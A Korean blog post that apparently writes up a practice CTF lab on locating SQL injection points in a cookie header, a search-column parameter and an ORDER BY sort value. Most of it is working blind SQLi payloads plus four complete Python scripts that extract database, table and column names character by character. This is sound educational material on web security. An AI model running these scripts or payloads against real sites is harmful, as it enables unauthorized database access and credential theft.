본문 바로가기

Web/Theory

SQLi 포인트

1. HTTP 요청 헤더

해당 마이페이지는

로그인한 사용자의 ID를 불러올 때,

서버 내부에서 세션을 이용해 ID를 가져오는 것이 아닌

클라이언트의 쿠키 정보로 select 구문을 동작시켜 DB에 정보를 가져오는 로직이다.

즉, 사용자의 post 입력 값, get 파라미터 이외에도

HTTP 헤더 정보인 쿠키, 혹은 유저 에이전트 값 등을 받아서 SQL 질의를 하는 로직이 있는지 잘 살펴봐야 한다.

클라이언트가 서버에 보내는 데이터 중,
서버가 그 데이터를 이용해서 DB에 SQL 질의를 하고 있는지 체크한다.

해당 쿠키 값에 SQLi 질의문이 동작하는지 항등원 쿼리를 넣어 테스트했다.

Nothing Here...라는 사용자 정보가 가져와져 출력된다.

항등원 쿼리에서 일부러 거짓 값이 반환되도록 설정하니

select 구문의 where 절에서 거짓이 반환되면서 사용자 정보가 가져와지지 않는 것을 볼 수 있다.

이로써 SQLi 가능한 장소임을 확인할 수 있다.

더보기
import requests

# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/findSQLi_1/mypage.php"

# 공격 Format 작성
sql = "' and (ascii(substr(({}),{},1)) > {}) and '1' = '1"

#참 거짓 판단 기준
true_code = "Nothing"

def blind_sqli(query):
    while True:
        # select 구문 입력 받기
        query = input("SELECT QUERY : ")

        value = binarySearch(query,true_code)
        print(value + "\n")

def binarySearch(query, true_code):
    index = 1
    
    high = 126
    low = 33
    
    value = ""
    
    while True:
        mid = (high+low)//2

		# 추출할 값이 존재하는지 > 0 를 통해 확인
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
            "Cookie": "PHPSESSID=세션ID 값 입력; user=user2"+sql.format(query, index, 0)
        }
        response = requests.post(url, headers=headers)

		# 사용자 정보가 잘 출력된다면. -> 추출한 값이 존재한다면
        if true_code in response.text:
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
                "Cookie": "PHPSESSID=세션ID 값 입력; user=user2"+sql.format(query, index, mid)
            }
            response = requests.post(url, headers=headers)
			
            # 추출할 값이 mid 값 보다 크다면
            if true_code in response.text:
                low = mid
               
            # 추출할 값이 mid 값 보다 작다면
            else:
                high = mid
			
            # 추출할 값을 찾았다면
            if low+1 >= high : # low == mid
                
                # 추출한 값 저장
                value += chr(high)
                print(value)
                
                # 다음 인덱스 문자열 추출
                index += 1
                
                # 초기화
                high = 126
                low = 33
        else:
            break
    return value

# 공격 시작
blind_sqli(sql)

발견한 SQLi 포인트에 Blind SQLi 공격을 시도해 보니,

# DB : sqli_find_1
# TABLE : board, member
# COLUMN : user_id, user_pass, name, user_level, info

DB 정보를 얻을 수 있었다.

더보기

이번 케이스에서는

참 조건과 거짓 조건의 결과가 같은 상황이다.

하지만, 세미콜론을 찍어 일부러 SQL 에러를 유도하자

DB Error라는 응답을 볼 수 있었다.

 

어떤 에러인지의 메시지는 없어서 Error Based SQLi는 불가능 하지만,

에러 페이지가 뜨냐 안 뜨냐

즉, 참과 거짓의 결과로 Blind SQLi는 이용할 수 있다.

에러를 유발하는 union 구문을 넣고 where 조건을 거짓으로 설정해

마이페이지가 정상 출력되는 모습

에러 유발을 하는 union 구문이 동작하게 설정해

DB Error 문구를 출력되는 모습

 

where 조건에 Blind SQLi 공격 Format을 넣는다면

Blind 공격이 가능할 것이다. 

user2' and (select 1 union select 2 where 1=1) and '1' = '1
user2' and (select 1 union select 2 where (ascii(substr((select database()),1,1)) = 115)) and '1' = '1

공격 Format 작성 후

DB 이름 첫 글자가 85 보다 큰 수이기 때문에

에러 유도 구문인 union이 동작해서

DB Error 문구가 출력되는 모습

DB 이름 첫 글자가 85가 아니기 때문에

에러 유도 구문이 동작하지 않아

마이페이지가 정상 출력되는 모습

import requests

# DB : sqli_find_1
# TABLE : board, member
# COLUMN : user_id, user_pass, name, user_level, info

# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/findSQLi_4/mypage.php"

# 공격 Format 작성
sql = "' and (select 1 union select 2 where (ascii(substr(({}),{},1)) > {})) and '1' = '1"

#참 거짓 판단 기준
false_code = "DB Error"

def blind_sqli(query):
    while True:
        # select 구문 입력 받기
        query = input("SELECT QUERY : ")

        value = binarySearch(query,false_code)
        print(value + "\n")

def binarySearch(query, false_code):
    index = 1
    
    high = 126
    low = 33
    
    value = ""
    
    while True:
        mid = (high+low)//2

        # 추출할 데이터가 존재하는지 체크
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
            "Cookie": "PHPSESSID=rnbjei2pl6ak6pg8iuc2g8qmou; user=user2"+sql.format(query, index, 0)
        }
        response = requests.post(url, headers=headers)
        
        # 추출할 데이터 존재 시, 질의한 SQL 결과가 참인지 확인
        if false_code in response.text:
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
                "Cookie": "PHPSESSID=rnbjei2pl6ak6pg8iuc2g8qmou; user=user2"+sql.format(query, index, mid)
            }
            response = requests.post(url, headers=headers)

            # 질의한 SQL 결과가 참이면 # 추출할 데이터가 mid 값 보다 크다면
            if false_code in response.text:
                low = mid
            
            # 질의한 SQL 결과가 거짓이면 # 추출할 데이터가 mid 값 보다 작다면
            else:
                high = mid

            # 추출할 값 발견 시
            if low+1 >= high : # low == mid
                
                # 추출한 값 저장
                value += chr(high)
                print(value)
                
                # 다음 인덱스 문자열 추출
                index += 1
                
                # 초기화
                high = 126
                low = 33
        else:
            break
    return value

# 공격 시작
blind_sqli(sql)

이후 파이썬 코드를 통해

Blind SQLi 공격을 할 수 있었고,

DB 정보를 추출할 수 있었다.

2. Column 이름 (검색 기능)

해당 게시판에

제목으로 't'라는 글을 검색했을 때,

t 문자열이 제목에 포함된 글들이 가져와진 것을 볼 수 있다.

(like 문 사용 추측 가능)

HTTP 요청 패킷을 살펴보니,

option_val

post 요청으로

게시글 검색 카테고리와 검색어 등을 보내고 있는 것을 확인할 수 있고,

select () from () where (option_val) like '%(board_result)%'

select () from () where title like '%t%'

위와 같이 DB에 SQL 질의할 것임을 예측할 수 있다.

select () from ()
where '1' = '1' and title like '%t%'

where 절의 컬럼명인 title 앞에 항등원 쿼리를 이용해서 요청을 보내보니,

성공적으로 게시글을 가져온 것을 볼 수 있다. (SQLi 포인트 발견)

일부러 거짓이 반환되도록 쿼리를 작성하니

게시글이 가져와지지 않는 것을 볼 수 있다. (Blind SQLi 포인트)

더보기
import requests

# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/findSQLi_2/notice_list.php"

# 헤더 작성
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
    "Cookie": "PHPSESSID=1pdte9jlgf2icsmoguchej5pnb"
}

# 공격 Format 작성
sql = "'1' = '1' and (ascii(substr(({}),{},1)) > {}) and"

#참 거짓 판단 기준
true_code = "test"

def blind_sqli(query):
    while True:
        # select 구문 입력 받기
        query = input("SELECT QUERY : ")

        value = binarySearch(query,true_code)
        print(value + "\n")

def binarySearch(query, true_code):
    index = 1
    
    high = 126
    low = 33
    
    value = ""
    
    while True:
        mid = (high+low)//2

        # post 요청 보낼 데이터 입력 + 추출할 값이 존재하는지 체크
        data = {
            "option_val": sql.format(query, index, 0)+" title",
            "board_result": "t",
            "board_search": "%F0%9F%94%8D",
            "date_from" : "",
            "date_to" : ""
        }
        response = requests.post(url, headers=headers, data=data)

        # 추출할 값이 존재한다면 Blind SQLi 시작
        if true_code in response.text:
            data = {
                "option_val": sql.format(query, index, mid)+" title",
                "board_result": "t",
                "board_search": "%F0%9F%94%8D",
                "date_from" : "",
                "date_to" : ""
            }
            response = requests.post(url, headers=headers, data=data)

            # 추출할 문자열이 mid 값 보다 크다면
            if true_code in response.text:
                low = mid
            
            # 추출할 문자열이 mid 값 보다 작다면
            else:
                high = mid
            
            # 추출할 문자열 값을 찾았다면
            if low+1 >= high : # low == mid
                
                # 추출한 값 저장
                value += chr(high)
                print(value)
                
                # 다음 인덱스 문자열 추출
                index += 1
                
                # 초기화
                high = 126
                low = 33
        else:
            break
    return value

# 공격 시작
blind_sqli(sql)

발견한 SQLi 포인트에 Blind SQLi 공격을 시도해 보니,

# DB : sqli_find_1
# TABLE : board, member
# COLUMN : user_id, user_pass, name, user_level, info

DB 정보를 얻을 수 있었다.

3. order by (정렬 기능)

해당 게시판 역시

like 문을 사용해 게시글 정보를 가져온다.

HTTP 요청 패킷을 살펴보면,

나머지 post 요청은 동일하고

sort 요청 값이 추가된 것을 볼 수 있다.

select () from ()
where title like '%t%' order by title

정렬을 위한 sort 값에 title 컬럼이 들어가 있는 것으로 보아

위와 같은 쿼리를 예상할 수 있다.

sort 값에 컬럼의 인덱스를 넣어 요청을 보내보니,

정상적으로 정렬 기능이 적용되며 게시글이 불러와졌다. (SQLi 포인트 확인)

더보기

case when 문법

case when (조건) then (참일때) else (거짓일때) end

case when (1=1) then (title) else (username) end # 제목 기준 정렬
case when (1=2) then (title) else (username) end # 작성자 기준 정렬

1=1 조건이 참이기 때문에

제목(title)을 기준으로 정렬되는 모습을 볼 수 있다.

1=2 조건이 거짓이기 때문에

작성자(username)를 기준으로 정렬되는 모습을 볼 수 있다.

# 컬럼명 모를 때
case when (1=1) then (1) else (오류 유도 쿼리) end # 1번 째 컬럼 기준 정렬
case when (1=2) then (1) else (select 1 union select 2) end # 오류로 인한 게시글 가져오기 실패

1=1 조건이 참이기 때문에

1번째 컬럼을 기준으로 정렬되는 모습을 볼 수 있다.

1=2 조건이 거짓이기 때문에

오류가 유도된 쿼리가 삽입되고, 게시글 가져오기에 실패한 모습을 볼 수 있다.

(select 1)
(select 1 union select 2)
(select 1 union select 2 where 1=1)
(select 1 union select 2 where 1=2)

1=2 조건이 거짓이기 때문에, 앞에 union select 2 (오류 유도 구문)이 실행되지 않으므로

select 1 즉, 첫 번째 컬럼을 기준으로 정렬된 모습을 볼 수 있음

1=1 조건이 참이기 때문에, 오류 유도 구문이 실행되어

게시글이 가져와지지 않는 모습

case when (substr(('test'),1,1) = 't') then (select 1) else (select 1 union select 2) end

case when 구문을 통해 SQL 질의 시, 참과 거짓 판별이 가능한지 테스트해 봤다.

조건이 참일 때, 게시글이 가져와 지는 것을 볼 수 있다.

조건이 거짓일 때, 오류 유도 구문이 실행되면서

게시글이 가져와지지 않는 것을 볼 수 있다. (Blind SQLi 포인트)

더보기
import requests

# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/findSQLi_3/notice_list.php"

# 헤더 작성
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
    "Cookie": "PHPSESSID=1pdte9jlgf2icsmoguchej5pnb"
}

# 공격 Format 작성
sql = "case when (ascii(substr(({}),{},1)) > {}) then (select 1) else (select 1 union select 2) end"

#참 거짓 판단 기준
true_code = "test"

def blind_sqli(query):
    while True:
        # select 구문 입력 받기
        query = input("SELECT QUERY : ")

        value = binarySearch(query,true_code)
        print(value + "\n")

def binarySearch(query, true_code):
    index = 1
    
    high = 126
    low = 33
    
    value = ""
    
    while True:
        mid = (high+low)//2

        # post 요청 보낼 데이터 입력 + 추출할 값이 존재하는지 체크
        data = {
            "option_val": "title",
            "board_result": "t",
            "board_search": "%F0%9F%94%8D",
            "date_from" : "",
            "date_to" : "",
            "sort" : sql.format(query, index, 0)
        }
        response = requests.post(url, headers=headers, data=data)

        # 추출할 값이 존재한다면 Blind SQLi 시작
        if true_code in response.text:
            data = {
                "option_val": "title",
                "board_result": "t",
                "board_search": "%F0%9F%94%8D",
                "date_from" : "",
                "date_to" : "",
                "sort" : sql.format(query, index, mid)
            }
            response = requests.post(url, headers=headers, data=data)

            # 추출할 문자열이 mid 값 보다 크다면
            if true_code in response.text:
                low = mid
            
            # 추출할 문자열이 mid 값 보다 작다면
            else:
                high = mid
            
            # 추출할 문자열 값을 찾았다면
            if low+1 >= high : # low == mid
                
                # 추출한 값 저장
                value += chr(high)
                print(value)
                
                # 다음 인덱스 문자열 추출
                index += 1
                
                # 초기화
                high = 126
                low = 33
        else:
            break
    return value

# 공격 시작
blind_sqli(sql)
case when (ascii(substr((select database()),1,1)) > 85) then (select 1) else (select 1 union select 2) end

공격 Format을 작성하고 파이썬을 통해 Blind SQLi 공격을 시도했다.

# DB : sqli_find_1
# TABLE : board, member
# COLUMN : user_id, user_pass, name, user_level, info

DB 정보를 추출할 수 있었다.

더보기

또 다른 Blind SQLi 파이썬 코드

import requests

# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/findSQLi_3/notice_list.php"

# 헤더 작성
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
    "Cookie": "PHPSESSID=1pdte9jlgf2icsmoguchej5pnb"
}

# 공격 Format 작성
sql = "(select 1 union select 2 where (ascii(substr(({}),{},1)) > {}))"


#참 거짓 판단 기준
true_code = "test"

def blind_sqli(query):
    while True:
        # select 구문 입력 받기
        query = input("SELECT QUERY : ")

        value = binarySearch(query,true_code)
        print(value + "\n")

def binarySearch(query, true_code):
    index = 1
    
    high = 126
    low = 33
    
    value = ""
    
    while True:
        mid = (high+low)//2

        # post 요청 보낼 데이터 입력 + 추출할 값이 존재하는지 체크
        data = {
            "option_val": "title",
            "board_result": "t",
            "board_search": "%F0%9F%94%8D",
            "date_from" : "",
            "date_to" : "",
            "sort" : sql.format(query, index, 0)
        }
        response = requests.post(url, headers=headers, data=data)

        # 추출할 값이 존재한다면 Blind SQLi 시작
        if not true_code in response.text:
            data = {
                "option_val": "title",
                "board_result": "t",
                "board_search": "%F0%9F%94%8D",
                "date_from" : "",
                "date_to" : "",
                "sort" : sql.format(query, index, mid)
            }
            response = requests.post(url, headers=headers, data=data)

            # 추출할 문자열이 mid 값 보다 크다면
            if not true_code in response.text:
                low = mid
            
            # 추출할 문자열이 mid 값 보다 작다면
            else:
                high = mid
            
            # 추출할 문자열 값을 찾았다면
            if low+1 >= high : # low == mid
                
                # 추출한 값 저장
                value += chr(high)
                print(value)
                
                # 다음 인덱스 문자열 추출
                index += 1
                
                # 초기화
                high = 126
                low = 33
        else:
            break
    return value

# 공격 시작
blind_sqli(sql)

 

 

'Web > Theory' 카테고리의 다른 글

SQLi 정리  (0) 2024.06.13
SQLi 대응 방법  (1) 2024.06.08
Blind SQLi  (0) 2024.05.31
Error Based SQLi  (0) 2024.05.30
UNION SQL Injection Process  (0) 2024.05.23